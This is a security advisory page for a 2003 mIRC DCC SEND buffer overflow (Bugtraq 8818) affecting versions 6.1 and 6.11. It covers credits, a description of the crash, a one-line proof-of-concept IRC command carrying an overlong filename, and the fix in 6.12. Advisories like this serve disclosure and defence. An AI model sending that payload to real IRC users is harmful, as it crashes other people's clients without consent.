mIRC DCC SEND Buffer Overflow Vulnerability

BID:8818

Info

mIRC DCC SEND Buffer Overflow Vulnerability

Bugtraq ID: 8818
Class: Boundary Condition Error
CVE:
Remote: Yes
Local: No
Published: Oct 13 2003 12:00AM
Updated: Oct 13 2003 12:00AM
Credit: Discovery of this vulnerability has been credited to Takara Takaishi <[email protected]>. New exploit mirc_dcc_exp.pl has been submitted by Milan 't4c' Berger. Corrected exploit was submitted by gabriel <[email protected]>.
Vulnerable: Khaled Mardam-Bey mIRC 6.11
Khaled Mardam-Bey mIRC 6.1
Not Vulnerable: Khaled Mardam-Bey mIRC 6.12

Discussion

mIRC DCC SEND Buffer Overflow Vulnerability

A vulnerability has been reported to exist in the mIRC client that may allow a remote attacker to crash a vulnerable mIRC client. The condition is most likely present due to insufficient boundary checking performed on 'DCC SEND' requests.

It has been reported that when received, a malicious 'DDC SEND' request can trigger a fatal error and cause an affected mIRC client to crash.

Exploit / POC

mIRC DCC SEND Buffer Overflow Vulnerability

The following proof of concept has been supplied:

/quote PRIVMSG #mirc :^ADCC SEND "a a a a a a a a a a a a a a a a a a a a a a
a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a
a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a
a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a
a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a
a a" 1363975063 3500 4^A

Update: It is reported that mirc_dcc_exp.pl was erroneous. It is being replaced by a corrected version.

Update: mirc_dcc_exploit.pl has been updated to correct errors.

Solution / Fix

mIRC DCC SEND Buffer Overflow Vulnerability

Solution:
This issue has been addressed in mIRC 6.12.


Khaled Mardam-Bey mIRC 6.1

Khaled Mardam-Bey mIRC 6.11

References

mIRC DCC SEND Buffer Overflow Vulnerability

References:

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